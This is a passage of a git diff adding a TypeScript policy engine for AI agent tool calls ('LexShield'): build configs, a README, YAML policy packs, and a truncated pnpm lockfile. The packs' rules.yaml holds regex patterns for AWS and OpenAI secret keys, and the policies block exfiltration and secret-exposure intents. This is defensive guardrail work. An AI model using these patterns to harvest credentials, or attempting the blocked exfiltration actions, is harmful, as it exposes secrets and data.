0000000..e0be848 --- /dev/null +++ b/packages/engine-ts/tsconfig.json @@ -0,0 +1,21 @@ +{ + "compilerOptions": { + "target": "ES2022", + "module": "NodeNext", + "moduleResolution": "NodeNext", + "lib": ["ES2022"], + "declaration": true, + "declarationMap": true, + "sourceMap": true, + "strict": true, + "skipLibCheck": true, + "esModuleInterop": true, + "forceConsistentCasingInFileNames": true, + "noUncheckedIndexedAccess": true, + "noEmit": true, + "rootDir": ".", + "outDir": "dist" + }, + "include": ["src/**/*.ts", "tests/**/*.ts", "vitest.config.ts", "tsup.config.ts"], + "exclude": ["dist", "node_modules"] +} diff --git a/packages/engine-ts/tsup.config.ts b/packages/engine-ts/tsup.config.ts new file mode 100644 index 0000000..68e97ca --- /dev/null +++ b/packages/engine-ts/tsup.config.ts @@ -0,0 +1,11 @@ +import { defineConfig } from 'tsup'; + +export default defineConfig({ + entry: ['src/index.ts'], + format: ['esm'], + dts: true, + sourcemap: true, + clean: true, + target: 'node20', + outDir: 'dist', +}); diff --git a/packages/engine-ts/vitest.config.ts b/packages/engine-ts/vitest.config.ts new file mode 100644 index 0000000..4c11dda --- /dev/null +++ b/packages/engine-ts/vitest.config.ts @@ -0,0 +1,9 @@ +import { defineConfig } from 'vitest/config'; + +export default defineConfig({ + test: { + globals: false, + environment: 'node', + include: ['tests/**/*.test.ts'], + }, +}); diff --git a/packs/README.md b/packs/README.md new file mode 100644 index 0000000..e12bfe2 --- /dev/null +++ b/packs/README.md @@ -0,0 +1,44 @@ +# LexShield Policy Packs + +Shipped policy packs for v0.1. Each pack is a directory with: + +| File | Purpose | +|------|---------| +| `policy.yaml` | Allow/block/challenge rules (SPEC Appendix A) | +| `rules.yaml` | Deterministic classifier: `tool_map` + `patterns` (Appendix A.4) | + +Apply a pack with: + +```bash +lexshield packs apply baseline-deny +# or +lexshield init --pack pii-guard +``` + +## Available packs + +### `baseline-deny` + +Default-deny posture. Allows health/ping only; challenges destructive actions in production; blocks secret exposure and exfiltration. + +**Use when:** Starting from scratch; you want a safe baseline before customizing rules. + +### `pii-guard` + +Extends baseline with PII egress controls. Challenges email/external comms when `data_class: pii` is tagged; blocks HTTP to hosts outside `https://api.mycompany.com/`. + +**Use when:** Agents send email, Slack, or HTTP and you need PII egress guardrails. + +### `change-window` + +Infra change-window policy. Allows production infra mutate/provision when `change_ticket` tag is present; otherwise challenges prod infra changes. + +**Use when:** Production infrastructure changes must be tied to an approved change ticket. + +## Deterministic classifier + +`pii-guard` and `change-window` symlink `rules.yaml` to `baseline-deny/rules.yaml` (shared tool map and secret patterns). Customize per pack by replacing the symlink with a copy. + +## Normative source + +Full YAML is defined in [SPEC.md Appendix A](../SPEC.md#appendix-a--example-policy-packs). diff --git a/packs/baseline-deny/policy.yaml b/packs/baseline-deny/policy.yaml new file mode 100644 index 0000000..02bc45c --- /dev/null +++ b/packs/baseline-deny/policy.yaml @@ -0,0 +1,43 @@ +version: 1 +id: baseline-deny +name: Baseline default-deny +description: Allow health/ping only; challenge prod deletes; block secret exposure and exfil. +defaultVerdict: BLOCK +rules: + - id: allow-health + name: Allow health checks + priority: 100 + match: + tools: ["health_check", "ping"] + intents: ["network.request.health"] + verdict: ALLOW + reason: "Health checks are always allowed" + + - id: challenge-delete-prod + name: Challenge destructive actions in production + priority: 200 + match: + environments: ["production"] + intents: ["infra.delete.resource", "data.delete.record"] + verdict: CHALLENGE + reason: "Destructive action in production requires approval" + challenge: + channel: stdout + timeoutSeconds: 3600 + onTimeout: BLOCK + + - id: block-secret-exposure + name: Block secret exposure + priority: 300 + match: + intents: ["security.secret_exposure"] + verdict: BLOCK + reason: "Possible secret exposure in tool arguments" + + - id: block-exfil + name: Block exfiltration + priority: 300 + match: + intents: ["data.exfiltrate"] + verdict: BLOCK + reason: "Possible data exfiltration" diff --git a/packs/baseline-deny/rules.yaml b/packs/baseline-deny/rules.yaml new file mode 100644 index 0000000..0027f27 --- /dev/null +++ b/packs/baseline-deny/rules.yaml @@ -0,0 +1,26 @@ +version: 1 +tool_map: + health_check: network.request.health + ping: network.request.health + send_email: comms.send.email + send_slack: comms.send.slack + http_request: network.request.http + execute_sql: data.query.sql + delete_resource: infra.delete.resource + create_resource: infra.provision.resource + update_resource: infra.mutate.resource + create_charge: finance.charge.create + transfer_funds: finance.transfer.create + run_shell: code.execute.shell + write_file: code.write.repo +patterns: + - name: aws_access_key + match: + any_arg_regex: "AKIA[0-9A-Z]{16}" + intent: security.secret_exposure + confidence: 0.98 + - name: openai_sk + match: + any_arg_regex: "sk-(proj-)?[a-zA-Z0-9]{20,}" + intent: security.secret_exposure + confidence: 0.98 diff --git a/packs/change-window/policy.yaml b/packs/change-window/policy.yaml new file mode 100644 index 0000000..6b86aa4 --- /dev/null +++ b/packs/change-window/policy.yaml @@ -0,0 +1,41 @@ +version: 1 +id: change-window +name: Infra change window +description: Infra mutate/provision in production requires change_ticket tag; otherwise challenge. +defaultVerdict: BLOCK +rules: + - id: allow-health + priority: 100 + match: + tools: ["health_check", "ping"] + intents: ["network.request.health"] + verdict: ALLOW + reason: "Health checks are always allowed" + + - id: allow-infra-with-ticket + priority: 210 + match: + environments: ["production"] + intents: ["infra.mutate.resource", "infra.provision.resource"] + expression: 'tags.change_ticket != ""' + verdict: ALLOW + reason: "Change ticket present" + + - id: challenge-infra-prod + priority: 200 + match: + environments: ["production"] + intents: ["infra.mutate.resource", "infra.provision.resource", "infra.delete.resource"] + verdict: CHALLENGE + reason: "Production infra change requires approval" + challenge: + channel: stdout + timeoutSeconds: 3600 + onTimeout: BLOCK + + - id: block-secret-exposure + priority: 300 + match: + intents: ["security.secret_exposure"] + verdict: BLOCK + reason: "Possible secret exposure in tool arguments" diff --git a/packs/change-window/rules.yaml b/packs/change-window/rules.yaml new file mode 120000 index 0000000..7cd8afc --- /dev/null +++ b/packs/change-window/rules.yaml @@ -0,0 +1 @@ +../baseline-deny/rules.yaml \ No newline at end of file diff --git a/packs/pii-guard/policy.yaml b/packs/pii-guard/policy.yaml new file mode 100644 index 0000000..a12916a --- /dev/null +++ b/packs/pii-guard/policy.yaml @@ -0,0 +1,48 @@ +version: 1 +id: pii-guard +name: PII egress guard +description: Extends baseline; challenges external comms when tagged pii; blocks non-allowlisted HTTP. +defaultVerdict: BLOCK +rules: + - id: allow-health + priority: 100 + match: + tools: ["health_check", "ping"] + intents: ["network.request.health"] + verdict: ALLOW + reason: "Health checks are always allowed" + + - id: challenge-pii-email + priority: 220 + match: + intents: ["comms.send.email", "comms.send.external"] + tags: + data_class: ["pii"] + verdict: CHALLENGE + reason: "Sending PII requires approval" + challenge: + channel: stdout + timeoutSeconds: 3600 + onTimeout: BLOCK + + - id: block-http-non-allowlist + priority: 250 + match: + intents: ["network.request.http"] + expression: '!(args.url startsWith "https://api.mycompany.com/")' + verdict: BLOCK + reason: "HTTP to non-allowlisted host" + + - id: block-secret-exposure + priority: 300 + match: + intents: ["security.secret_exposure"] + verdict: BLOCK + reason: "Possible secret exposure in tool arguments" + + - id: block-exfil + priority: 300 + match: + intents: ["data.exfiltrate"] + verdict: BLOCK + reason: "Possible data exfiltration" diff --git a/packs/pii-guard/rules.yaml b/packs/pii-guard/rules.yaml new file mode 120000 index 0000000..7cd8afc --- /dev/null +++ b/packs/pii-guard/rules.yaml @@ -0,0 +1 @@ +../baseline-deny/rules.yaml \ No newline at end of file diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml new file mode 100644 index 0000000..b9c91b7 --- /dev/null +++ b/pnpm-lock.yaml @@ -0,0 +1,1582 @@ +lockfileVersion: '9.0' + +settings: + autoInstallPeers: true + excludeLinksFromLockfile: false + +importers: + + .: {} + + packages/engine-ts: + dependencies: + yaml: + specifier: ^2.8.0 + version: 2.9.0 + zod: + specifier: ^3.24.2 + version: 3.25.76 + devDependencies: + '@types/node': + specifier: ^22.15.3 + version: 22.20.1 + tsup: + specifier: ^8.5.0 + version: 8.5.1(postcss@8.5.16)(typescript@5.9.3)(yaml@2.9.0) + typescript: + specifier: ^5.8.3 + version: 5.9.3 + vitest: + specifier: ^3.2.4 + version: 3.2.7(@types/node@22.20.1)(yaml@2.9.0) + +packages: + + '@esbuild/aix-ppc64@0.27.7': + resolution: {integrity: sha512-EKX3Qwmhz1eMdEJokhALr0YiD0lhQNwDqkPYyPhiSwKrh7/4KRjQc04sZ8db+5DVVnZ1LmbNDI1uAMPEUBnQPg==} + engines: {node: '>=18'} + cpu: [ppc64] + os: [aix] + + '@esbuild/aix-ppc64@0.28.1': + resolution: {integrity: sha512-Svl7tq8k/08+p6CXPpRjQ1fKX+1odH/BQbb48fV6fj3CWHhsoIOoY87w1oHXm0qEpkIK3ZfVgp0hed3XBXzXMQ==} + engines: {node: '>=18'} + cpu: [ppc64] + os: [aix] + + '@esbuild/android-arm64@0.27.7': + resolution: {integrity: sha512-62dPZHpIXzvChfvfLJow3q5dDtiNMkwiRzPylSCfriLvZeq0a1bWChrGx/BbUbPwOrsWKMn8idSllklzBy+dgQ==} + engines: {node: '>=18'} + cpu: [arm64] + os: [android] + + '@esbuild/android-arm64@0.28.1': + resolution: {integrity: sha512-34EGEbCIAgosYz6goLcopX6Mo7NyGv9tfwEM2/7Ce2VcVRk568iSvniGWcUXIy7wEDR1wzolcxcriFVrWYcwBg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [android] + + '@esbuild/android-arm@0.27.7': + resolution: {integrity: sha512-jbPXvB4Yj2yBV7HUfE2KHe4GJX51QplCN1pGbYjvsyCZbQmies29EoJbkEc+vYuU5o45AfQn37vZlyXy4YJ8RQ==} + engines: {node: '>=18'} + cpu: [arm] + os: [android] + + '@esbuild/android-arm@0.28.1': + resolution: {integrity: sha512-0k2F129Xdio1TdJfzJ8sy1Q47vUD2NnwdhiAf7drUN1EBTfPf4hsFCtmMgu/6m8JSzsBrlmVjudMBQqOfG8usQ==} + engines: {node: '>=18'} + cpu: [arm] + os: [android] + + '@esbuild/android-x64@0.27.7': + resolution: {integrity: sha512-x5VpMODneVDb70PYV2VQOmIUUiBtY3D3mPBG8NxVk5CogneYhkR7MmM3yR/uMdITLrC1ml/NV1rj4bMJuy9MCg==} + engines: {node: '>=18'} + cpu: [x64] + os: [android] + + '@esbuild/android-x64@0.28.1': + resolution: {integrity: sha512-dbwY7ltSMDWsRatcRpCnES4F+im88OCUgGZjy52shC7GqHRE/cYlxNbB4Z4UpJswpcc4Qxd2oE/ufM0p61IKng==} + engines: {node: '>=18'} + cpu: [x64] + os: [android] + + '@esbuild/darwin-arm64@0.27.7': + resolution: {integrity: sha512-5lckdqeuBPlKUwvoCXIgI2D9/ABmPq3Rdp7IfL70393YgaASt7tbju3Ac+ePVi3KDH6N2RqePfHnXkaDtY9fkw==} + engines: {node: '>=18'} + cpu: [arm64] + os: [darwin] + + '@esbuild/darwin-arm64@0.28.1': + resolution: {integrity: sha512-TZbWkQY7kvTAXbXUT7uVACR5cMHsDiSz9z7ZKAX/RTq/WJEk3QyRr0wZpNhBDX+/0CtdqUIJlOiodQcta6tY3Q==} + engines: {node: '>=18'} + cpu: [arm64] + os: [darwin] + + '@esbuild/darwin-x64@0.27.7': + resolution: {integrity: sha512-rYnXrKcXuT7Z+WL5K980jVFdvVKhCHhUwid+dDYQpH+qu+TefcomiMAJpIiC2EM3Rjtq0sO3StMV/+3w3MyyqQ==} + engines: {node: '>=18'} + cpu: [x64] + os: [darwin] + + '@esbuild/darwin-x64@0.28.1': + resolution: {integrity: sha512-zfdzgK9ACBNZLI/CyHTOx81SyNbM6YXn7rxSgX97VjyiPl9W1i4Ka4fgKECEoFCKGpvBj5qArWIGgQjOwkgskQ==} + engines: {node: '>=18'} + cpu: [x64] + os: [darwin] + + '@esbuild/freebsd-arm64@0.27.7': + resolution: {integrity: sha512-B48PqeCsEgOtzME2GbNM2roU29AMTuOIN91dsMO30t+Ydis3z/3Ngoj5hhnsOSSwNzS+6JppqWsuhTp6E82l2w==} + engines: {node: '>=18'} + cpu: [arm64] + os: [freebsd] + + '@esbuild/freebsd-arm64@0.28.1': + resolution: {integrity: sha512-wG2EA8ENdEI0qhkSZMjfqrdY+ziCYCPMmtZjjIwOmXFjmyzEHn+UUxk5of+SYsjtfs3VpnlC7QLzSI5hY/rOAw==} + engines: {node: '>=18'} + cpu: [arm64] + os: [freebsd] + + '@esbuild/freebsd-x64@0.27.7': + resolution: {integrity: sha512-jOBDK5XEjA4m5IJK3bpAQF9/Lelu/Z9ZcdhTRLf4cajlB+8VEhFFRjWgfy3M1O4rO2GQ/b2dLwCUGpiF/eATNQ==} + engines: {node: '>=18'} + cpu: [x64] + os: [freebsd] + + '@esbuild/freebsd-x64@0.28.1': + resolution: {integrity: sha512-i7dZ9vQgnvSCzi/rYCXNgtF/U+eKZNJBzu3eTQbRgHnM7tNSizLOkRFAl3qzVc/Op/u5YkHHa4pf/3DOYHthLQ==} + engines: {node: '>=18'} + cpu: [x64] + os: [freebsd] + + '@esbuild/linux-arm64@0.27.7': + resolution: {integrity: sha512-RZPHBoxXuNnPQO9rvjh5jdkRmVizktkT7TCDkDmQ0W2SwHInKCAV95GRuvdSvA7w4VMwfCjUiPwDi0ZO6Nfe9A==} + engines: {node: '>=18'} + cpu: [arm64] + os: [linux] + + '@esbuild/linux-arm64@0.28.1': + resolution: {integrity: sha512-yHs+0uc8+nvEAfAfxrWQKK5peSNzBc4PegcMO0EJ2hT71uA7vB8Ihg2e77R2P7SG5uYjPbHlLLmve4LLLRCf0g==} + engines: {node: '>=18'} + cpu: [arm64] + os: [linux] + + '@esbuild/linux-arm@0.27.7': + resolution: {integrity: sha512-RkT/YXYBTSULo3+af8Ib0ykH8u2MBh57o7q/DAs3lTJlyVQkgQvlrPTnjIzzRPQyavxtPtfg0EopvDyIt0j1rA==} + engines: {node: '>=18'} + cpu: [arm] + os: [linux] + + '@esbuild/linux-arm@0.28.1': + resolution: {integrity: sha512-qVXBOHQS+d5Y722GwJzJUtOLlX7km3CraOaGormF1pDtPd2C/l1SHRPgjLunLGe51Sh5YYWKMFDyV4SxgMQYTQ==} + engines: {node: '>=18'} + cpu: [arm] + os: [linux] + + '@esbuild/linux-ia32@0.27.7': + resolution: {integrity: sha512-GA48aKNkyQDbd3KtkplYWT102C5sn/EZTY4XROkxONgruHPU72l+gW+FfF8tf2cFjeHaRbWpOYa/uRBz/Xq1Pg==} + engines: {node: '>=18'} + cpu: [ia32] + os: [linux] + + '@esbuild/linux-ia32@0.28.1': + resolution: {integrity: sha512-d1z4ZuP0ajrfz/FhGT4vv278rX8KnPPJx8i5+AtK7TYbx9Le9F1hyzurZpkEyjkGa9dUGhQow4C1NmeGvqxN2w==} + engines: {node: '>=18'} + cpu: [ia32] + os: [linux] + + '@esbuild/linux-loong64@0.27.7': + resolution: {integrity: sha512-a4POruNM2oWsD4WKvBSEKGIiWQF8fZOAsycHOt6JBpZ+JN2n2JH9WAv56SOyu9X5IqAjqSIPTaJkqN8F7XOQ5Q==} + engines: {node: '>=18'} + cpu: [loong64] + os: [linux] + + '@esbuild/linux-loong64@0.28.1': + resolution: {integrity: sha512-M5sRjUVZrkm1OAPR3dlOYzNmN+loZKGVi1VUQGrwuqLcbR6qeAz+famMhjASeH3YVKvZz+zT1jlh/keC3Rj/lg==} + engines: {node: '>=18'} + cpu: [loong64] + os: [linux] + + '@esbuild/linux-mips64el@0.27.7': + resolution: {integrity: sha512-KabT5I6StirGfIz0FMgl1I+R1H73Gp0ofL9A3nG3i/cYFJzKHhouBV5VWK1CSgKvVaG4q1RNpCTR2LuTVB3fIw==} + engines: {node: '>=18'} + cpu: [mips64el] + os: [linux] + + '@esbuild/linux-mips64el@0.28.1': + resolution: {integrity: sha512-mRObBZeHh2OxcBFPWE/FjylkRgZdYuiTR3vaTozquCGOH14iP9oN4x4Ge81CoIDYQrXmIxpFumJBu5MtZpnQJQ==} + engines: {node: '>=18'} + cpu: [mips64el] + os: [linux] + + '@esbuild/linux-ppc64@0.27.7': + resolution: {integrity: sha512-gRsL4x6wsGHGRqhtI+ifpN/vpOFTQtnbsupUF5R5YTAg+y/lKelYR1hXbnBdzDjGbMYjVJLJTd2OFmMewAgwlQ==} + engines: {node: '>=18'} + cpu: [ppc64] + os: [linux] + + '@esbuild/linux-ppc64@0.28.1': + resolution: {integrity: sha512-slScBsMAb3GFDcdrCgLwZtPYRoH2H/youv10QiZyRjmsP48fznoveWytSgCI/R0ZcUgpc0ZhIUEx6LHts8yrfQ==} + engines: {node: '>=18'} + cpu: [ppc64] + os: [linux] + + '@esbuild/linux-riscv64@0.27.7': + resolution: {integrity: sha512-hL25LbxO1QOngGzu2U5xeXtxXcW+/GvMN3ejANqXkxZ/opySAZMrc+9LY/WyjAan41unrR3YrmtTsUpwT66InQ==} + engines: {node: '>=18'} + cpu: [riscv64] + os: [linux] + + '@esbuild/linux-riscv64@0.28.1': + resolution: {integrity: sha512-kw0owk1o0GFETUJyW0jc0G4Yzs0BHZn0JDZ8JRT088vjJYX777BAs1fDGxAC+q831qOs2DTC96mNsG2opdfyyQ==} + engines: {node: '>=18'} + cpu: [riscv64] + os: [linux] + + '@esbuild/linux-s390x@0.27.7': + resolution: {integrity: sha512-2k8go8Ycu1Kb46vEelhu1vqEP+UeRVj2zY1pSuPdgvbd5ykAw82Lrro28vXUrRmzEsUV0NzCf54yARIK8r0fdw==} + engines: {node: '>=18'} + cpu: [s390x] + os: [linux] + + '@esbuild/linux-s390x@0.28.1': + resolution: {integrity: sha512-/lAIjX8aYFRByhh6L5rYtPEDRqa9de/4V/juOXcta5frjvzXO4/sqEtyytse0g3zZFuWu5cDN0MkLz2qRDD2Ag==} + engines: {node: '>=18'} + cpu: [s390x] + os: [linux] + + '@esbuild/linux-x64@0.27.7': + resolution: {integrity: sha512-hzznmADPt+OmsYzw1EE33ccA+HPdIqiCRq7cQeL1Jlq2gb1+OyWBkMCrYGBJ+sxVzve2ZJEVeePbLM2iEIZSxA==} + engines: {node: '>=18'} + cpu: [x64] + os: [linux] + + '@esbuild/linux-x64@0.28.1': + resolution: {integrity: sha512-u/anNYF2mmVOEDwLtnQ1wOr3EZ9sTNGLWrsYGYwHWzGA3Si84IOkHXlbWTD1NB+9/1lcnweYKO54uhxZydNzfA==} + engines: {node: '>=18'} + cpu: [x64] + os: [linux] + + '@esbuild/netbsd-arm64@0.27.7': + resolution: {integrity: sha512-b6pqtrQdigZBwZxAn1UpazEisvwaIDvdbMbmrly7cDTMFnw/+3lVxxCTGOrkPVnsYIosJJXAsILG9XcQS+Yu6w==} + engines: {node: '>=18'} + cpu: [arm64] + os: [netbsd] + + '@esbuild/netbsd-arm64@0.28.1': + resolution: {integrity: sha512-oks0DYbLwWMmaakTsCb+zL4E+aHRVLom9IJZOAthMQEPiQmydXHkziYEsGYRx0uNV/IjEKGAV941JzH02pflqw==} + engines: {node: '>=18'} + cpu: [arm64] + os: [netbsd] + + '@esbuild/netbsd-x64@0.27.7': + resolution: {integrity: sha512-OfatkLojr6U+WN5EDYuoQhtM+1xco+/6FSzJJnuWiUw5eVcicbyK3dq5EeV/QHT1uy6GoDhGbFpprUiHUYggrw==} + engines: {node: '>=18'} + cpu: [x64] + os: [netbsd] + + '@esbuild/netbsd-x64@0.28.1': + resolution: {integrity: sha512-aeL6lAnN89Hz43Mlh1G8ARasbuoYvSITDEx0tHh5b7jJnHcssqgjy9Yx430GDpmCa6OyrKoS0aNRjKundRizGg==} + engines: {node: '>=18'} + cpu: [x64] + os: [netbsd] + + '@esbuild/openbsd-arm64@0.27.7': + resolution: {integrity: sha512-AFuojMQTxAz75Fo8idVcqoQWEHIXFRbOc1TrVcFSgCZtQfSdc1RXgB3tjOn/krRHENUB4j00bfGjyl2mJrU37A==} + engines: {node: '>=18'} + cpu: [arm64] + os: [openbsd] + + '@esbuild/openbsd-arm64@0.28.1': + resolution: {integrity: sha512-MEFJe5C3R8pwXdZ5Y21oo6m7ePiS0d9pWucn99O/wvyJZChoIQKrQDxKrGeW8F5+T0okTHesAmDeiHDTIq0V/Q==} + engines: {node: '>=18'} + cpu: [arm64] + os: [openbsd] + + '@esbuild/openbsd-x64@0.27.7': + resolution: {integrity: sha512-+A1NJmfM8WNDv5CLVQYJ5PshuRm/4cI6WMZRg1by1GwPIQPCTs1GLEUHwiiQGT5zDdyLiRM/l1G0Pv54gvtKIg==} + engines: {node: '>=18'} + cpu: [x64] + os: [openbsd] + + '@esbuild/openbsd-x64@0.28.1': + resolution: {integrity: sha512-i/ZLIOafE0Z8cI/XANJAixoJL/uRAoS2xOA3rb0xN+KK0K177cMAsQYkzHtBrtMXAKuAc7HGgcWiZ/sRC1Nxgw==} + engines: {node: '>=18'} + cpu: [x64] + os: [openbsd] + + '@esbuild/openharmony-arm64@0.27.7': + resolution: {integrity: sha512-+KrvYb/C8zA9CU/g0sR6w2RBw7IGc5J2BPnc3dYc5VJxHCSF1yNMxTV5LQ7GuKteQXZtspjFbiuW5/dOj7H4Yw==} + engines: {node: '>=18'} + cpu: [arm64] + os: [openharmony] + + '@esbuild/openharmony-arm64@0.28.1': + resolution: {integrity: sha512-ge+Z7EXFNt2BO1oAMsVpiQ8EwndV9i1xXerAeTIK7AtPs3bKFXQM7nlRxDSIUIMeueR1CNXxqztLzdNeReKBJg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [openharmony] + + '@esbuild/sunos-x64@0.27.7': + resolution: {integrity: sha512-ikktIhFBzQNt/QDyOL580ti9+5mL/YZeUPKU2ivGtGjdTYoqz6jObj6nOMfhASpS4GU4Q/Clh1QtxWAvcYKamA==} + engines: {node: '>=18'} + cpu: [x64] + os: [sunos] + + '@esbuild/sunos-x64@0.28.1': + resolution: {integrity: sha512-BEjgtECkL3vY+SaSQ6nzVfiALUeFxpawyp8Jmf5PtYhf1Ug40N1h/hxlhts+f1FvSvarEigdxS3BlSMI2PJLcQ==} + engines: {node: '>=18'} + cpu: [x64] + os: [sunos] + + '@esbuild/win32-arm64@0.27.7': + resolution: {integrity: sha512-7yRhbHvPqSpRUV7Q20VuDwbjW5kIMwTHpptuUzV+AA46kiPze5Z7qgt6CLCK3pWFrHeNfDd1VKgyP4O+ng17CA==} + engines: {node: '>=18'} + cpu: [arm64] + os: [win32] + + '@esbuild/win32-arm64@0.28.1': + resolution: {integrity: sha512-lCv9eK/H6ZJWbE7bh2nw54CZ9M2nupBxJcTsdk/QQnWkdSjKGuxmmH8/GWrlT1eMmZfn4dGcCjRte397WqfQXA==} + engines: {node: '>=18'} + cpu: [arm64] + os: [win32] + + '@esbuild/win32-ia32@0.27.7': + resolution: {integrity: sha512-SmwKXe6VHIyZYbBLJrhOoCJRB/Z1tckzmgTLfFYOfpMAx63BJEaL9ExI8x7v0oAO3Zh6D/Oi1gVxEYr5oUCFhw==} + engines: {node: '>=18'} + cpu: [ia32] + os: [win32] + + '@esbuild/win32-ia32@0.28.1': + resolution: {integrity: sha512-zvb/mB2bSCoJOpoCBgYKKpX6YM6mJBlBUVUtVj41DlZJVEB6/0CKlRYxP5wWl1C1ILiCoAU5wZZ4q1P3qeS6Eg==} + engines: {node: '>=18'} + cpu: [ia32] + os: [win32] + + '@esbuild/win32-x64@0.27.7': + resolution: {integrity: sha512-56hiAJPhwQ1R4i+21FVF7V8kSD5zZTdHcVuRFMW0hn753vVfQN8xlx4uOPT4xoGH0Z/oVATuR82AiqSTDIpaHg==} + engines: {node: '>=18'} + cpu: [x64] + os: [win32] + + '@esbuild/win32-x64@0.28.1': + resolution: {integrity: sha512-bm4Mowrv+GXMlpWX++EcXw/iLyd1o3+bJkC2DkWXYVvgZCqD/bSj9ctZeAMC3cIxgjRVR2Dufaiu4YPxr5gW1A==} + engines: {node: '>=18'} + cpu: [x64] + os: [win32] + + '@jridgewell/gen-mapping@0.3.13': + resolution: {integrity: sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==} + + '@jridgewell/resolve-uri@3.1.2': + resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} + engines: {node: '>=6.0.0'} + + '@jridgewell/sourcemap-codec@1.5.5': + resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==} + + '@jridgewell/trace-mapping@0.3.31': + resolution: {integrity: sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==} + + '@rollup/rollup-android-arm-eabi@4.62.2': + resolution: {integrity: sha512-6o7ZLZK+BeenkZCFNDXqpbjw9bD6nuWonvS/lwQJp7NoVVxm6p3qE7qQ5jGuBjiFsgvqjD8mZAU5oWxTmbOeOg==} + cpu: [arm] + os: [android] + + '@rollup/rollup-android-arm64@4.62.2': + resolution: {integrity: sha512-BaH7BllCACHoH1LguOU56UItGfUWjujlO65kS9LAodViaN4bwIKd7oeW/ZHJ/4ljr/7MIiENnNy3HJ0zXv8Zkw==} + cpu: [arm64] + os: [android] + + '@rollup/rollup-darwin-arm64@4.62.2': + resolution: {integrity: sha512-v39RCCvj4He82I9sFmk+M1VZ0PLM9sfsLVikjfx2hYBNALhrrOR2D3JjQA6AhlaSOgcR+RzrKY7e1+bT6SUO/A==} + cpu: [arm64] + os: [darwin] + + '@rollup/rollup-darwin-x64@4.62.2': + resolution: {integrity: sha512-yl0y2vq3S3lHeuXhEdss6TWfKW8vkujImO12tn4ZkG/4oghr09LvdYm2RElVjokTQiUvDUGXLGsYeLqUMCKpGA==} + cpu: [x64] + os: [darwin] + + '@rollup/rollup-freebsd-arm64@4.62.2': + resolution: {integrity: sha512-tT4pvt4qXD+vEoezupCWi+a1F0vvDiksiHc+PxRlYTOH1I6/X4id9jPxTP+Fg+545euaFT1jJVs4CEdHZAU1vw==} + cpu: [arm64] + os: [freebsd] + + '@rollup/rollup-freebsd-x64@4.62.2': + resolution: {integrity: sha512-6nU5F2wCW+qvCBhTn1pdIU3bzsIoF7EUwsCDRxilWGprQR6yd508YnH9+OKFCwpfS8pjZqDUmnCAr7exax0XCg==} + cpu: [x64] + os: [freebsd] + + '@rollup/rollup-linux-arm-gnueabihf@4.62.2': + resolution: {integrity: sha512-n1GJHPOvpIfhi3TmrCeh6S6URt9BFCt0KQE3qvexyGCTAKpR4Lg+eWvNZEqu7epxwus/8ElT3hacYEucm49SZg==} + cpu: [arm] + os: [linux] + + '@rollup/rollup-linux-arm-musleabihf@4.62.2': + resolution: {integrity: sha512-JqgflS8wEB+UXV/vS1RpRbifGBeN4D5lz8D8oOFbFZw4vedvdOgCFAjfBmIMdW3yL10XpQQ0Ambepw6MXrhOnA==} + cpu: [arm] + os: [linux] + + '@rollup/rollup-linux-arm64-gnu@4.62.2': + resolution: {integrity: sha512-wnFJkogWvN4jm/hQRF2UBaeUmk20j5+DmHvoyWii2b8HJDyvz1MF2OU/6ynXt2KR63rbZLWkFpoytpdc/yBuSA==} + cpu: [arm64] + os: [linux] + + '@rollup/rollup-linux-arm64-musl@4.62.2': + resolution: {integrity: sha512-HVu2bp0zhvJ8xHEV9+UUs7S90VadmBSY3LcIMvozbPo4AuMGDWlz3ymHLHZPX4hR67TKTt8Qp5PJ5RBg/i+RMQ==} + cpu: [arm64] + os: [linux] + + '@rollup/rollup-linux-loong64-gnu@4.62.2': + resolution: {integrity: sha512-mQqqAV8QaoSgr9I2fKDLY2BAVvmKjWoGiu/cSYQonsLvtqwEn1E4QYfnCOcp5zoEqNhsDYin1s6jx/VJmrxlZg==} + cpu: [loong64] + os: [linux] + + '@rollup/rollup-linux-loong64-musl@4.62.2': + resolution: {integrity: sha512-IxKLoxCQ2IWi6bT2akyDUBGsOImDKB+sPp4EsTmwFQ/fMwpCKm8uLSSgP/Kx/QYUgKis6SEZ5/Nlhup0DIA0PQ==} + cpu: [loong64] + os: [linux] + + '@rollup/rollup-linux-ppc64-gnu@4.62.2': + resolution: {integrity: sha512-Mk5ha2RQSgyFfmYYLkBpPnUk8D8FriBxesO1u9O75X0mHgXL1UQcH5Itl2lurWL2tj0RxV9b9tJgipac0hRY9A==} + cpu: [ppc64] + os: [linux] + + '@rollup/rollup-linux-ppc64-musl@4.62.2': + resolution: {integrity: sha512-CjvEnqJL/0/TQ3TXX3OPIJ/kmBellrWd4heXUmHeJlTnmwjKpSJzoehLaL6Xk0ZnMHBu9dZuFADNOrtjF4v+2w==} + cpu: [ppc64] + os: [linux] + + '@rollup/rollup-linux-riscv64-gnu@4.62.2': + resolution: {integrity: sha512-1SiZbzwdkaDURsew/tSOrooKiYy7EQGT6m8ufavAi9NEyQb/6VuIxFXAL1fqa4iZe3g4NbNk4P7J32z2tw5Mgg==} + cpu: [riscv64] + os: [linux] + + '@rollup/rollup-linux-riscv64-musl@4.62.2': + resolution: {integrity: sha512-nQts12zJ3NQRoE6uYljOH89v7szzLDvG2JD/vsX+vGXU8w/At1GowTZ5/7qeFQ8m7L55rpR8Okugnuo5bgjy2Q==} + cpu: [riscv64] + os: [linux] + + '@rollup/rollup-linux-s390x-gnu@4.62.2': + resolution: {integrity: sha512-E9/ll019jhPIJgpzfZoIkBGhcz+kKNgVWYRY0zr9srBdPPFVpvOKW8VaJKUbeK+eZXyQF9ltME+Kk6affeaPgg==} + cpu: [s390x] + os: [linux] + + '@rollup/rollup-linux-x64-gnu@4.62.2': + resolution: {integrity: 